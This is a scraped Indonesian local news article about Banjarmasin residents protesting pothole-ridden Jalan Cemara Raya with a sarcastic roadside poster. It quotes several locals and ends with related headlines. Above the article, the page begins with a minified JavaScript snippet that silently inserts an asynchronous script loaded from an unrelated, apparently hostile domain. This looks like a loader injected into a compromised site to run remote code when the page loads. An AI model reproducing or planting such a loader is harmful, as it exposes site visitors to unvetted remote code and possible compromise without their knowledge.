(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Merasa kesal dengan kondisi jalan rusak berlubang di tengah jalan, warga Cemara Raya, Banjarmasin, pasang rambu peringatan sekaligus sindirin nyelekit.
Poster warna putih itu bertuliskan dalam bahasa Banjar “Mahadang Pemilu Hanyar Nyawa Tambal” itu diletakan di tengah jalan rusak.
Sindiran sekaligus penanda agar para pengendara tidak terperosok ke bagian jalan rusak itu sebagai aksi protes warga kepada pemerintah.
Sekadar diketahui jalan jalan Cemara Raya menjadi alternatif bagi pengguna jalan dari arah Batola dan Kalteng. Memang terlihat ada beberapa jalan yang sudah ditambal, namun tidak sedikit yang masih berlubang.
Chairil (32), salah satu warga Jalan Cemara Raya, Kelurahan Sungai Miai Dalam, Kecamatan Banjarmasin Utara mengatakan, pemasangan poster sindirian ke pemerintah kota itu karena kondisi jalan yang rusak pasca banjir di Kota Banjarmasin tidak juga diperbaiki.
“Setelah banjir lalu, banyak yang rusak berlubang di sini, dua bulan ini belum ada tindakan apapun dari pihak Kota Banjarmasin,” ucap Chairil kepada Kanalkalimantan.com, Rabu (10/3/2021) sore.
Dari penuturan warga ini, banyak pengendara sepeda motor dan mobil nyaris celaka, karena masuk dalam lubang, terhentak akibat tidak menyadari jika jalan tersebut terdapat lubang.
“Ini kami pasang di tengah jalan itu sebagai rambu tanda jalan rusak, sehingga para penggendara yang lewat siang atau malam hari bisa mengetahuinya. Selain itu rambu dengan poster tersebut sebagai aksi protes agar pemerintah terkait bisa melakukan upaya perbaikan,” pungkas pemilik toko vape di jalan Cemara Raya ini.
Puad (30), warga sekitar lainnya mengaku, rambu berbentuk poster bertuliskan sindiran itu dipasang sejak Selasa (9/3/2021) kemarin.
“Rambu itu dipasang sejak kemarin, agar para pengendara yang melewati tahu bahwa ada lubang, lubang itu kira-kira 10 Cm,” ujarnya.
Noor Helda (23), pegawai agen jasa pengiriman di Jalan Cermara Raya mengatakan kepada Kanalkalimantan.com, akibat jalan yang berlubang tersebut tak jarang pengendara kaget dan langsung teriak akibat tersentak saat melintas.
“Hampir tiap hari dengar bunyi hentakan dari ban motor dan mobil yang melintas, dikira tabrakan, ternyata kendaraan yang masuk lubang,” terang Noor Helda.
Pantauan Kanalkalimantan.com poster bertuliskan “Mehadang Pemilu Hanyar Nyawa Tambal” ini cukup menjadi perhatian pengendara yang melintas. Beberapa di antaranya bahkan mengabadikan poster sindiran ke Pemko tersebut.
“Selain untuk memberikan tanda hati-hati dari jalan lubang, juga menarik sih rambu posternya, semoga lekas jalan diperbaiki sebelum ada korban,” harap Ryan (27), salah satu pengendara yang melintas di Jalan Cemara Raya. (kanalkalimantan.com/putra)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.